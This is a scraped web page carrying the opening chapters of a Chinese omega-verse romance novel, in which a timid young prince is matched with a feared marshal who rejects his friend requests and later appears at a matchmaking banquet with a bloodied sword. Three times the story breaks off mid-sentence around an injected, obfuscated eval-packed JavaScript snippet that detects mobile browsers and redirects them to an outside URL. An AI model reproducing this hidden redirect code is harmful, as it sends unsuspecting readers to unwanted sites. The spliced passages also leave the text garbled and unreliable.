《小甜o被匹配给杀神元帅了!》 1. 《皇宫为何传来一声巨响?》 【什,元帅不是早八百年就说过,他最讨厌omega这种柔弱得一根指头就能戳死的生物吗!!】 【主脑你怎么想的啊啊啊我娇弱的小殿下!!!】 【传说元帅吃o不眨眼,面若恶鬼一眼可止小o发情!】 …… 匹配局官方账号最新通告的评论区下,各式各样的评论疯狂刷新着,内容不同IP各异,但最后无一例外,都归成了一句话—— 【小殿下,危!】 而盯着屏幕的小殿下本人,心情也要一片愁云惨雾了。 他调整了一下坐姿,认真思考一两秒,又空出左手,表情凝重地捏住自己不停发抖的右手。 不要抖了…… QAQ怎么好像抖得更厉害了。 网友的评论一圈圈在脑子里盘旋,他还不死心地攥着手,努力想要克服恐惧,肩膀却突然被人拍了下。 “!” 云满被吓得差点跳起来,连脑袋上不听话翘起来的呆毛都跟着抖了下,睁大眼转身,便对上了皇室管家霍克先生关切的目光。 管家先生有着一双与人类无异的深邃瞳孔,外表却是最为便利且实用的金属外壳,还有一个圆滚滚的肚子,是幼年时期云满的秘密基地。 守护了皇室三十余年的老管家伸出手,关切且亲昵地碰了碰云满额头,“您似乎有心事,要与我说说吗?” 云满犹豫了一下,用眼角余光瞟了眼自己右手。 呜…… 他放下光脑,端正坐好,仰头看向霍克先生,小声问:“霍克爷爷,您认识元帅吗?” “元帅啊……” 霍克思索了两秒,飞快调出相关资料,“如果是第一军团的那位,我倒是有幸见过几次。” 霍克赞扬地点点头,“为人冷肃,作战时又果决,陛下一向欣赏他。” 不过……陛下也很为这位元帅头疼就是了。 十年来跟任何omega的匹配度都低于百分之三十,偏偏信息素又强悍而蛮横,在前线这么多年下来,虽说战功赫赫,是令人安心的帝国之刃,但精神海状况也堪称是岌岌可危了。 但这些就没必要告诉小殿下了。 云满闻言,心里燃起点希望,眼巴巴追问:“那您觉得他人怎么样?好相处吗?” 霍克沉默了一瞬,再开口时,声音干巴巴的:“这方面啊……嗯……嗯,嗯。” 云满的心凉了半截。 他低头看了眼还亮着的光脑,评论区正以一种堪称恐怖的速度刷新着。 【啊??匹配局这不开玩笑吗?小殿下不是才刚成年?!】 【对啊,腺体都没发育好呢怎么就给匹配了??】 【虽然大家一直很担心元帅的精神海状况,可是也不能病急乱投医啊?】 【说实话,很怀疑俩人第一次见面,元帅就会把小殿下吓哭。】 【怎么会是元帅……心碎,我一直觉得小殿下会匹配到一个比较温柔的alpha来着。】 【+10086,比如说元帅副官那样的。】 好,心彻底凉了。 其实从他刚知晓匹配中心这种东西的存在时,他就一直设想着,自己未来会匹配到一个绅士、礼貌又温柔的alpha,相敬如宾地携手相伴一生。 虽然他早听闻帝国战神的功绩和声名,一直以来也怀抱着尊崇之心,但是,但是…… 他真没想过自己会去给杀神当老婆啊!! 云满心好累,他伸手要关掉光脑,指尖擦过屏幕,无意中给最后一个评论点了赞。 但他还算谨慎,用的是无人关注的小号,随手取消掉那个赞,再抬起头时,对着霍克扯出一个比哭还可怜的笑。 他心惊胆战,但怀抱希冀,问出了最后一个问题:“那,那元帅现在还在边境对吗?” 他不是想逃婚,也不是想逃避责任……但如果能迟两天再去见他那个传闻中青面獠牙三头六臂还会吃omega的丈夫,那他一定会感谢整个世界的。 霍克不太明白小殿下今日为何会如此关心那位元帅。 作为皇室管家,他平日里会接触到不少机密,也因此他的系统并不与外界星网相联,至今仍不知晓他们家的小殿下已经要被军部给叼走了。 眼下,关于小殿下这个问题,他当然知道答案,只是还需要查询一下这件事的保密等级…… 云满等了三秒,没等到回话,还以为是默认,或者元帅在执行秘密任务,所以不能告知他——不管怎么样,答案都指向他期望的那一种! 云满眼睛都快乐地亮起来了,刚才的苦恼被直接抛之脑后,他晃了晃垂在半空中的小腿,“我明白了!哥哥今天的日程表还有空余时间吗?” 他有点想哥哥了。 就在这时,霍克终于查询到了保密等级。 “元帅现在正在帝星……嗯,我看看陛下的日程表啊。” 等一下。 云满的快乐噎住了。 连原本轻快晃悠的小腿都迟疑地缩回高脚凳的踩脚上,方才的评论又一次钻进他大脑里,乱七八糟的黑字汇聚成了一行大字,他晕头晕脑,看不清。 “哦,陛下今天不算忙碌,有足足二十五分钟的空闲时间!” “我看看,三分钟后结束与元帅的会面,可以安排在这个时候……” 云满的快乐死掉了。 他只觉得一阵天旋地转,在眩晕中他终于看清了那行大字——【小殿下,危!】 他要讨厌这个世界了呜呜…… 一想到自己极有可能正与自己那位恐怖的丈夫处于同一屋檐下,云满觉得整个人都不好了,连兄长都不想见了,急匆匆地跳下高脚凳就想跑。 可脚尖才刚碰到地面,不远处陡然传来一声巨响,吓得他差点没站稳,好悬被霍克先生扶了一把。 那个方向是…… 会客室。 也就是,他未来丈夫目前在的地方。 这么一想,方才那道巨响似乎都变得更恐怖、更令人敬畏了。 云满慌张极了,方才看到的那些话纷纷涌上心头,下意识想溜,可又陡然意识到自家哥哥还在里面。 《元帅对匹配结果不满,心存怨怼竟意图行刺陛下!》、《会客室为何传来一声巨响?——让我们走近皇家秘辛》…… 一时间,云满连明日的星网新闻头条都替人家想好了。 他走也不是留也不敢,进退不能,欲哭无泪,最后只能求助般望向霍克先生。 霍克先生不愧是见惯大风大浪的AI,像是根本没听见刚才那一声怪响般,只看一眼时间,微笑道:“您该走了,小殿下。” 他半是开玩笑半是提醒:“元帅战功赫赫,可同样也留下许多沉疴隐疾,军部那边一向极为忧心元帅的精神海情况,若是他们知道您跟元帅碰上了,指不定就要把您抓去做他们的夫人了。” 云满:……QAQ 其实已经不用军部来抓了。 一想到这件事,小殿下就心情沉重,却还惦记着兄长,一步一回头,小心翼翼问:“那我哥哥会不会有危险……” 这句话还没来得及说完,就被一道恐怖的开门声所打断—— 云满大脑一片空白,下意识抬手捂住嘴,想都不想就直接滚到霍克先生身后。 门彻底开了。 与阳光明媚的室内花园相比,门后的会议室显得格外幽暗,甚至有几分死寂般的严肃感。 可很快,军靴落地的声音打破了沉默,军装笔挺的男人面容冷峻,左胸口的勋章熠熠生辉。 他周身似乎还萦绕着来自边境的寒风,凛然而肃杀。 目光是平的,不带任何情绪,触及白玉桌上被用了一半的精致糕点、椅边落了一地的花瓣,以及皇室管家身后露出来的一小片可疑衣角时,也没有分毫停留。 这一切都与他无关。 边叙对此漠不关心,他只是出于礼貌,冷淡地对着霍克点头致意,而后举步。 只是这一次,皇室管家却唤住了他。 “元帅。”霍克脸上的微笑恰到好处,态度也滴水不漏,“前厅栽种了许多玫瑰,或许您会喜欢。” ——您不应该走这条路离开,这不合规矩。 若是往常小殿下不在也就罢了,他在皇室多年,对这些有能力的年轻人向来宽容。 但很可惜,年轻的元帅并没有听出管家先生的弦外之音,他脚步没有丝毫迟疑,只在路过霍克时,微不可查地一顿。 “不必了。” “我对玫瑰过敏。” 霍克微笑着点头,没再开口,只是在元帅走过时,不动声色地换了方向,以便更好地遮住自己身后小殿下的身影。 脚步声远去了。 直到那道身影彻底消失在尽头,霍克才松了口气,转身去看躲在自己圆滚滚身子底下的小殿下。 他声音温和,“小殿下,我之前同您说过的,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032399|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里是内廷外廷的交界处,很容易碰到一些来述职的先生或者女士。” 顿了两秒,见小殿下始终不答话,霍克有些歉疚,“不过,像元帅这种未婚alpha毕竟是少数,也怪我没有注意。” “但您不必忧心,”霍克见云满还不起来,以为他是被吓狠了,沉吟片刻,缓缓道:“元帅应当不久以后,就会结婚了。” 事实上,陛下之所以将元帅从前线调回,又将人召进皇宫里来,为的就是这件事。 ——虽然目前看来,元帅是不大可能找到omega了,但如果有心仪的beta,那易感期多少也能好受一点。 不过,听上去陛下跟元帅的交流并不愉快……倒也正常,毕竟元帅看上去简直像是个机甲性恋。 霍克先生笑眯眯地想。 刚准备从地上爬起来的云满:O.o? 结婚? 跟我吗? 他脚一软,咚地又坐回去了。 好痛tut…… 霍克迟疑:“……小殿下?” 云满语带哽咽,“对不起,我脚麻了,请等一下下。” “霍克,你在做什么?” 低沉的男声从不远处响起,霍克转身,对着从会客室走出的皇帝微微颔首,“晨安,陛下。” 然后,他往旁边挪了挪,恰好露出满地散落的花瓣,还有抱着膝盖歪歪坐在地上的小殿下。 云满不可置信地盯着直接卖掉自己的霍克,而霍克连个眼神都不给他,云满只好默默将自己缩成一团,弱小又可怜。 他听到了一声笑。 “怎么还跟小时候一样,一犯错就躲到霍克身后。” 云景怀的声音淡淡的,道:“霍克,以后岁岁会出没的地方,就不要放那些乱七八糟的人进来了。” 霍克应下。 云景怀又道:“会客室的桌子坏了,记得换。” 他话音刚落,就察觉衣角被人轻轻地、试探性地拽了拽。 云景怀低头看向罪魁祸首。 云满仰着头望自家兄长,有点惴惴不安,小声问:“是元帅打坏了?” 一想到这种可能,云满就忍不住打了个哆嗦。 好凶的人……呜呜他见过会客室里的实木桌子,特别沉,他用尽全身力气都没法推动哪怕一毫米。 怎么、怎么元帅一拳就能打坏啊? 那要是元帅想打他,岂不是半拳都不需要? 云满心中泪汪汪,急得一双眼都快变成荷包蛋了。 云景怀看着扁着嘴要哭不哭的幼弟,略微有些疑惑,“是我弄坏的。” 云满:“!” 更可怕了! 居然能将他脾气很好的哥哥都逼到这一步,元帅得多吓人! 他哭唧唧地低头划开光脑,给匹配局发消息:【我同意见面呜呜呜呜呜】 且不论收到消息的匹配局工作人员盯着那五个呜研究了多久,又讨论了多久小殿下到底是愿意还是不愿意,另一边,刚走出皇宫的元帅却忽然脚步一顿。 他抬手捏了下鼻尖,心道皇廷的花还是太多了,他不喜欢。 果然还是不应该回帝星来。 光脑已经震了有一阵子,他等上了飞行器才低头处理。 第一条来自边星的同僚:【什么时候回来?】 他言辞冷淡:【尽快。】 同僚回得很快:【OK,回来后咱俩过两招。】 边叙没再看,切出页面,一一回复,同时很娴熟地忽略掉匹配局跳出的八十九个红点。 还有一个红点。 他的目光跟着转移,最终停在了“好友申请”上。 他迅速在脑子里过了一遍最近递交上来的名单,确定军部没有新鲜血液后,略带疑惑地点开好友申请。 最先跳入眼帘的,是一只雪白蓬松的小猫,毛发柔软,碧蓝的眼睛像是水洗过的天空,两只粉嫩的尖耳中间还戴了顶小小的王冠,整只都显得娇矜极了。 边叙皱起眉,又去看申请语:【您好QWQ,我是您的omega≧v≦,请通过一下,谢谢,麻烦您啦~】 边叙强迫自己看完这段对他来讲过于甜腻且累赘的话,并且完全不能理解那几个莫名其妙的符号存在的意义,眉头越皱越紧,最终面无表情地拒绝拉黑一条龙。 许久不回帝星,没想到帝星的诈骗居然猖獗至此。 连他的账号都能泄露,看来得给某些人紧紧皮了。 2. 天彻底塌了! 另一边,云满坐在窗边,心不在焉地望着外面花团锦簇,有一搭没一搭抠着桌角,硬生生把木皮都挠了一层下来,又被他十分心虚地抚平。 就连桌子中心摆着的、往日里最得他欢心的巧克力味小蛋糕都被冷落了。 云满时不时低头看一眼光脑,好友申请仍安静地躺在那里。 怎么还没有回音…… 他焦急地跳下高脚凳,在原地团团转了两圈。 在一旁批阅公文的皇帝终于被他吵得忍无可忍了。 皇帝看了眼时间,确定自己今日的空闲时间还有二十分钟零三秒,这才放下光脑,决定跟从刚才起就一直表现得非常奇怪的幼弟谈谈心。 “岁岁,过来。” 云满忽然被叫住,有点懵,但还是转完了剩下的半圈,这才乖乖走过去,眼神疑惑,“哥?” 皇帝又看了一眼时间。 嗯,还有十九分钟二十七秒。 他知道omega需要更多更细腻的情感陪伴,但奈何他实在是没有时间。 或许接下来几日应该加个班,在下周日空出几个小时来陪陪云满。 皇帝很快做出决断,同时单刀直入问:“最近有什么烦心事吗?” 云满犹豫。 有倒是有,但是…… 他想想刚才被管家先生抬出去的实木桌尸体,心存戚戚地想,这事恐怕自家哥哥也解决不了哇。 皇帝又又看了一眼时间。 还有十七分钟四十二秒。 算了,全用到云满身上也未尝不可。 他索性将公文和光脑都推到一旁,又起身将小蛋糕端过来,俯身耐心地与幼弟对视着,试探问:“在协会还习惯吗?跟那些小omega相处得怎么样?” 他沉吟,“如果你需要的话,我会向omega协会递交申请,让你在宫中住几天。” 云满精神一振。 但立刻又萎靡了。 那可不行,协会的鸾会长还等着找他商量之后跟元帅见面的事情呢。 要是他留在皇宫了,那鸾会长想过来找他,还得提前递交申请。 而且再过几天,就是相亲晚宴了,总不能再让鸾会长单独来接他。 好麻烦人家的。 呜呜。 云景怀疑惑地盯着面前突然大喜又突然大悲的omega,实在是对omega跳跃的情绪理解不能。 “哥哥,你……”云满踟蹰了一下,还是问道:“你怎么看待alpha哇?” “对alpha的看法?”云景怀语气平静,“他们也是帝国重要的一员,是与我们没有区别的帝国公民。” 他望着幼弟,忽然意识到,曾经被他抱在怀中的小omega已经长大了,或许在几年后,便会匹配到合适的alpha,步入人生的下一阶段。 思及此处,他的气息更平和了,他道:“帝国建立于血火之上。” 云满知道这句话。 更准确地说,帝国的所有公民,都知道这句话。 这是帝国通史扉页上的第一句—— 【帝国建立于血火之上。 在最初,alpha是利刃,beta是耗材,omega是子宫。 而后来,随着虫族的节节败退,温软的文明逐渐生长。 她给予alpha在创伤后的安宁,给予beta在休息后的保障,给予omega在匹配后的自由。】 “alpha需要omega,omega也需要alpha,人类永远彼此需要。” 云景怀目光中带着怜惜,他伸手轻揉了下幼弟松软的头发,道:“岁岁,不要害怕。” - 在消耗完可怜的帝国皇帝本就为数不多的休息时间,又风卷残云解决掉两块小蛋糕后,云岁岁满血复活! 他看看埋头苦干奋笔疾书的兄长,很自觉地没再去打扰大忙人,自顾自地循着幼年时期开辟出的小道,在内廷钻来钻去。 内廷的警卫与霍克先生一样,都是从小看着云满长大,因此他们非常娴熟、且目不斜视地忽略了不远处草丛后鬼鬼祟祟探出来的小脑袋。 嗯……甚至头发上还顶了几片翠绿的草叶子。 两名警卫表面不动声色,实则在暗地里偷偷交换了一个眼神,都从同伴眼中看到了快憋不住的笑意。 但云满对此一无所知,他还以为自己藏得很好,两眼亮晶晶地盯着警卫们,在心里构想着,如果他是一名大盗,要如何潜进皇宫! 霍克先生坐在玻璃花房中,小酌机器润滑油,心情愉悦地看着小殿下一个人在后园玩躲猫猫。 还跟小时候一样呢。 他看看时间,有点遗憾地想,但是,小殿下已经不能像幼年时那样任性了。 霍克不得不打断云满短暂的快乐,“小殿下,协会的人已经在外面等您了。” 云满动作一顿,慢吞吞地从草地上爬起来,弯腰拍了拍并不存在的灰尘,而后直起身。 “我知道了,再见,霍克先生。” “祝您平安,小殿下。” 协会的飞行器空间极大,座位上还铺满了软毯,力求让omega感到舒适和安全。 云满坐到自己的专属小座位上,认真地给自己扣上安全带,又伸手从侧边的抽屉里抽了一只毛绒绒的玩具小羊出来,抱在怀中。 小羊的角软软的,抵在脸侧,让云满整个人都放松了。 窗外,云景怀并没有出来送他——大概是因为可怜的陛下已经用尽了他本日所有的休闲时间。 霍克先生站在宫门前,严肃又庄重,目视着飞行器启动离开,而他身后站着同样严肃的皇家警卫队。 警卫身姿笔挺,护卫犬也高大威武。 云满又挣扎着从座位上探出一只手,用力朝霍克先生挥了挥。 霍克先生怔了一下,旋即缓缓笑起来。 云满心情又放松了,他rua着小羊软乎乎的毛,心不在焉地想着方才那些护卫犬。 看上去也很好摸的样子…… 更何况,他之前听说,那几只护卫犬体内还有着百分之二十的、来自已经失落的古地球古老犬类的基因! 云满蠢蠢欲动,但是又回想了一下黑色的止咬器下尖尖的獠牙,又怂怂地缩回去了。 没事,协会里也有omega养了两只小小的卷毛狗,也很好摸! 他在心里计划了一圈回去后要做什么,心情非常放松,于是终于想起之前被自己抛之脑后的恐惧源泉—— 当然,现在已经不是了! 就像他哥哥说的那样,al ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032400|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' pha与omega互相需要。 更何况,元帅还是个大英雄诶…… 那么厉害的人,又这么久都没匹配到omega来安抚精神海,真是太可怜了。 云满越想越觉得心软,责任感也油然而生,抬手划开光脑,正准备跟鸾会长说一声,自己想要尽快定下跟元帅见面的时间,却突然发现好友申请那里跳了个红点。 “!” 他手忙脚乱地点进去,同时飞快在心里措辞,想着该怎么才能给元帅留下最好的第一印象…… 然后,他看清了那一行红字。 ——【对方已拒绝您的好友申请】 云满眼前一黑,只觉得天都要塌了。 怎么回事? 难道是他语气太凶太没有礼貌了吗? 云满不死心地将之前的申请语反复再看,最终分别在句末加了两个“qvq”、“O(∩_∩)O”上去,试探性地重新发送。 ……被秒拒了。 呜呜。 云满实在看不出来哪里还有问题了,他无意识地将怀中小羊揉炸毛,然后突然灵机一动,想起自己曾在评论区见到有人说,元帅讨厌omega。 云满觉得自己悟了,他点开输入框,认认真真重新组织语言:【您好tvt,我是您的omega,当然^_^如果您想的话把我当成beta也完全没有关系的!对了,拜托*罒▽罒*请通过一下好友申请,真的非常非常感谢!!】 他深吸了一口气,鼓起勇气点下发送键,然后屏息凝神静待三秒…… 光脑忽然震了一下,屏幕顶端跳出一条来自网络安全中心的警告:【您的账号被举报涉嫌诈骗,请及时前往举报中心申诉。】 云满:“!” 干什么?! 干什么!! 天彻底塌了!!! - 另一边,军部大厦。 “关于前线基地接下来的指挥权,陛下还没有一个明确的指示,但出于一些众所周知的原因……” 说到这里时,发言的军官下意识地瞟了元帅一眼。 元帅并没有任何表态,只是垂眸盯着光脑,眸色冰冷。 军官心里打了个突。 毕竟在座的都知道,元帅几乎是被陛下强召回来的。 以元帅目前的精神海状态,显然不适合继续在前线作战,但元帅这么多年都没匹配到合适的omega,甚至不止一次地在公众场合表态过抗拒那些娇贵又脆弱的omega…… 军官定住心神,按捺住紧张,克制着自己不要再发散思维,继续说:“我们这里目前有三种方案……” 话刚开了头,元帅却忽地抬了下手。 “打断一下。” 元帅语气很平,“帝星负责安全工作的,是谁?” 另一位军官举了下手示意。 元帅眸子微眯,盯着那人看了三秒,认出来了。 “我记得你。” 军官一怔,旋即有些惊喜——他与元帅在军校时是同一届学生,只是交集很少,没想到…… “你间谍行为这门课只考了八十九。”边叙言简意赅。 军官脸上刚绽出来的笑彻底僵硬了。 边叙没再多说,只是点点光脑,“去查一下。” 3. 物理意义上的帝国利刃 五天后,浮空岛。 这是协会的领地,守卫森严,只有不定时开放的晚宴才会准许那些未婚的alpha们进入。 因此,晚宴也被私下称为“相亲宴”。 光影迷离,觥筹交错,军装笔挺的alpha们三两成群,端着酒杯,表面上谈笑风生,实则都暗地里注意着二楼那几扇紧闭着的门。 ——帝国与虫族的战争旷日持久,年轻的alpha们别无选择,只能担负起alpha的职责,在分化后便进入军校,在毕业后就前往战场。 而众所周知,在战场上待得越久,alpha的信息素、精神海状况就越糟糕。 因此,每隔几年,前线基地便会调回一批状况最差的alpha,如果这群alpha中刚好有幸运匹配到omega的,那么协会便会举行一次相亲宴。 在宴会上,omega掌握着绝对的主动权,可以选择主动接触alpha,也可以在宴会结束后,直接回绝这次的匹配。 可拒绝并非没有代价。 但alpha们对此一无所知,他们只知道这是一次单方面的挑选,因此更为谨慎,无一不展露出彬彬有礼而恭谨谦让的模样。 二楼也同样很热闹。 单向玻璃前,几个omega正探头探脑想找到自己匹配到的那个alpha,而另一些omega则聚在实时转播的监控前,观察着每个alpha的表现。 连往日里颇受omega们欢迎的甜点塔都被忽视了。 云满一个人孤零零地缩在甜点塔后面的角落里,看一眼光脑,再看一眼监控,满心悲凉。 他觉得元帅应该是不会来了。 在被拒绝、拉黑,甚至举报之后,云满还没彻底死心,又在第三天晚上睡觉前,试探性地给元帅发了封晚宴邀请函。 先前的教训太过惨痛,他都没敢看元帅的回复,直接闷头就睡,早上起来后又在烘焙房忙碌了一天,准备好见面礼,然后深吸一口气,打开光脑—— 邮件未读。 天又塌了! 云满终于意识到,元帅先前在媒体面前说的,确实都是真心话,半点不掺假。 “omega是帝国珍贵的宝物”、“omega脆弱且需要呵护”……这些都是云满从小到大听惯了的话,他没想到,自己第一次匹配,居然就碰到了讨厌omega的怪人。 而且自己这么努力,对方居然都不肯给一个正面回应。 光是想一想,云满就觉得好委屈。 可他也是真的有点担心元帅的身体。 帝国的利刃……就算不喜欢omega,也需要“药”吧? 他完全不介意纯洁的医患关系什么的,治好了就分手也完全可以的。 云满唉声叹气,又开始折腾怀里的小羊。 在小绵羊被揉成炸毛羊后,一旁早就盯着他的好友终于忍不住了,坐过来,伸手将小羊救走顺毛,“岁岁,愁什么呢,苦着脸好几天了。” 云满叹了口气。 江闻看得好笑,问:“你不喜欢元帅吗?——那宴会后我陪你去找鸾会长,让他跟军部说一声就好了。” 云满又叹了口气。 江闻看不得他这副样子,将小羊放到旁边沙发上,还顺手给小羊盖上被子,这才转过来扯了扯云满脸蛋,“笑一笑啦。” 云满又又叹了口气,“你的alpha来了没?” 江闻挑了下眉,随手指了下监控,“喏,那儿呢。” 云满看着监控里那位耐心等待的alpha,觉得好羡慕。 “我没有不喜欢元帅,”他纠正好友的话,“毕竟我还没见过他。” 但情况好像更糟糕一点。 元帅根本不想来见他。 QAQ。 可是如果直接拒绝的话……且不论他自己下一次会匹配到什么样的alpha,光是元帅的身体,是不是就撑不住了? 云满进退两难,忧心忡忡。 “那你就是也喜欢元帅咯?” 突然响起的声音吓了云满一跳,他抬头去看,发现不知何时,自己这片隐蔽的小空间居然成了omega们的中心。 刚才接话的正是一位长相可爱,性格也很热情的omega,名叫许怀安。 另一名年龄更大些,性格更成熟的omega开口问:“所以,岁岁,你是怎么想的?——这几天,我们大家都很担心你。” 云满闻言,下意识看了一圈,周围人纷纷点头。 他又有点不太好意思了,下意识抱起小羊,挡住半张脸,小声说:“我没有……” 他往江闻那边缩了缩,许怀安笑眯眯递给他一杯热牛奶,“慢慢说啦,不要害怕。” 云满垂下眼,慢吞吞啜饮着热牛奶,“我就是……有点不知道该怎么办。” 话音落下去,脑袋便不知道被谁揉了一把。 云满懵懵地抬头。 “很正常,”有个omega很温柔地开口:“匹配这件事对你来说还太早了,岁岁,你才刚成年呢。” “不过不要害怕,我们,协会,还有陛下,甚至军部……都是站在你这边的。” 云满有些不太懂这句话。 而许怀安左右看看,发现同伴们居然已经把话都说完了,原地思考片刻,忽然一锤手掌,道:“没事,岁岁,我来给你做示范!” 说完,他转身下楼。 宴会进行了这么久,这还是今夜第一个下楼的omega,一时间,所有alpha的目光都凝在他身上。 光是看一眼,云满就要紧张起来了,他盯着监控中的人,看着许怀安目标明确地走到某位alpha面前,开口说了些什么。 然后,那个看上去很凶的alpha,居然微微笑了。 alpha后撤半步,而后俯身,在omega手背上轻轻印下一吻。 “你知道怀安说了什么吗?” 江闻忽然开口,将看得正入迷的云满吓了一跳。 他下意识抱紧小羊,转头去看江闻,“说了什么?” 江闻哼笑一声,正欲开口,趴在窗边的一个omega却忽然叫起来:“诶,岁岁,元帅来了!” 云满一下就坐起来了。 他不可置信地抬头,然后突然想起什么,下意识去看光脑。 邮件仍然是未读状态。 唔? 他有点茫然,但还是本能地提起旁边准备好的礼物——是他认认真真捏了一天造型的猫猫小蛋糕! 只是,刚走了两步,云满又有点迟疑了。 虽然之前一直是他在主动,但是等真到这一天了,真要去见自己那位青面獠牙三头六臂面若恶鬼的丈夫…… 云满怂了。 他往前挪了两步,正要给自己打气,一转头却发现朋友们握着拳看着自己。 “别害怕岁岁,没有人能拒绝你的!” “对,他要是敢吓你,我们就一起去找鸾会长告状。” …… 云满深吸一口气,被鼓励到了。 没错!现在是大庭广众之下,而且外面还有协会的警卫,一有不对就会冲进来。 更何况,他只是问问元帅的想法,没有逼迫对方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032401|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思。 拼了! 他视死如归,抱着小蛋糕哒哒跑下去,在靠近入口的地方停下来,左右看了看,确定自己站的位置不会妨碍到别人,这才安心等在原地。 比沉沉军靴声更早让他注意到的,是一股奇怪的味道。 他下意识皱了下鼻子,还以为这是元帅的信息素,身体本能地有点抗拒。 有点呛……不太喜欢。 可很快,他又意识到不对——来这里的每个人,都会被严格限制信息素才对。 那,这是什么味道? 他心下疑惑,抱着猫猫礼盒踮起脚尖想往外看。 他最先看到的,是一双深灰色的、冷淡而锋利的眼。 军帽檐压住碎发,黑色的军装挺括利落,长靴束着修长笔直的小腿,整个人就像是出鞘的利剑。 最重要的是,没有三头六臂! 云满悄悄松了口气。 那么,星网上的话,也不能尽信……吧? 而且,元帅步子还很快,让云满升起点微渺的希望:来这里的alpha都是为了见omega,由此可见,元帅应该也没那么讨厌他……吧? 他主动迎过去,正准备开口—— 元帅径直越过他,连眼角余光都没分过来哪怕一秒。 云满懵了一下。 但很快,他又给元帅找到了理由:omega的照片一向不会流落在外,所以元帅没认出他来也很正常! 他抱着猫猫礼盒,连忙跟上去,只是alpha肩宽腿长,一步顶他两三步,让他跟得有点吃力。 他想起元帅说过,讨厌娇弱的omega。 可是……身高腿长什么的,他也决定不了呀。 云满干脆跑了两步,好不容易跟上去,觉得好累,下意识小声抱怨了句:“您等等我呀。” 在最开始,边叙并没有意识到,那个omega是在跟自己说话。 直到袖口被人很轻地拽了一下。 他下意识想拔枪,可帝星禁枪,而这里又格外严格。 他顿住脚步,回头。 见元帅终于愿意分给他一点注意了,云满松了口气。 被那双深灰色的眼注视着,他有点紧张,但好在昨晚背了一宿的稿,脑袋空空但嘴上还很流利:“您好,我叫云满,云朵的云,小满的满,今年十八岁,家庭关系和谐……” 不对。 鼻尖微微抽动了一下。 刚才那股奇怪的气味,似乎变得更浓郁了。 如果不是信息素的话,那会是什么? 云满一边分出心神思考着,一边自我介绍:“我父母早逝,上边有一个beta哥哥,目前在帝国政府工作,职位是……” “滴答。” 哪里来的水声? 云满下意识转了下脑袋,想要找到声音来源。 眼角余光却扫到了一抹红。 他终于注意到不对劲的地方了。 alpha身材高大,投下的阴影可以轻易将他整个人笼罩覆盖,垂眸望来时,眸光冷淡,不带丝毫感情。 目光下移,仔细看那深色的军装,左肩部与腰间的布料颜色似乎格外深一些,就仿佛被什么东西染湿了一般。 而再往下。 他看到了一柄被浸透的雪亮长刀,倒映出他惊慌失措的眼。 “滴答。” 又一声,犹带温热的液体顺着刀的凹槽流淌,盈在刀尖上,最终坠下来,在柔软的地毯上晕染开一小片红。 是血。 云满:……!!! 救、救救SOS! 4. 声音好软 但边叙的注意力并不在眼前的omega身上。 这几日,他一路顺藤摸瓜,揪出了在帝星潜伏很深的三名间谍。 两人伏诛,还有一人逃窜至此。 似乎在开晚宴,不过他并不在乎,毕竟帝国的安全高于一切。 至于拦在入口的omega,他也没有在意——大概是在等自己的alpha吧,总之与他无关。 他步子很快,身后似乎有什么嘈杂的声音,也没能分走他分毫心神。 直到他忽然注意到,原本该去花园探查的副官却不知为何出现在宴会角落里,朝他打了个手势。 他略微有些疑惑——那个手势的意思是,让自己转身,看看身后。 他听到了不稳的喘息声,然后,他看到了刚才等在入口处的omega。 个子不高,人倒是很瘦,眼睛也挺大,抬头望过来时,亮晶晶的。 可能是灯的原因吧。 “您好,我叫云满……” 声音也挺软。 但是,跟他说干什么? 认错人了? 边叙皱起眉,转身想走,奈何副官又不知从何处钻了出来,拼命冲他打着手势。 他的目光便重又落在眼前的omega身上,从无意识绞着衣角的手指,到看上去绵软无力的双腿,以及这走两步都喘的体质,怎么看也不像是经过特训的间谍。 更何况,他根本没听说军部近期有从帝国之外救来omega,而从小在协会长大的omega,更没可能沾染上那些腌臜事。 他打量眼前人的时间有些长了,更何况目光里还满是审视——虽然见惯了腥风血雨的alpha并不认为这有什么,但显然,这让敏感的omega感到不适了。 云满的声音越来越慢,面上也露出几分茫然的迟疑——终于发现自己认错人了? 边叙漫不经心地想着,耳边传来一声极细微的滴答声,是血落在地毯上。 这里似乎是omega协会的地盘? 他侧眸望了眼不远处墙上的标志。 那正好,让军部给协会赔点钱,反正那群alpha对omega们都殷勤得恨不得当狗。 再重又低头望向那个小omega时,边叙愣了一下。 他眼睁睁看着那双漂亮的眼迅速蒙上一层水雾。 边叙:“……?” 哭了? 不是吧? 他下意识上前一步。 云满看着提刀朝自己走过来的元帅,再瞟一眼长刀凹槽上流淌着的、似乎还温热的血,只觉得小命休矣! 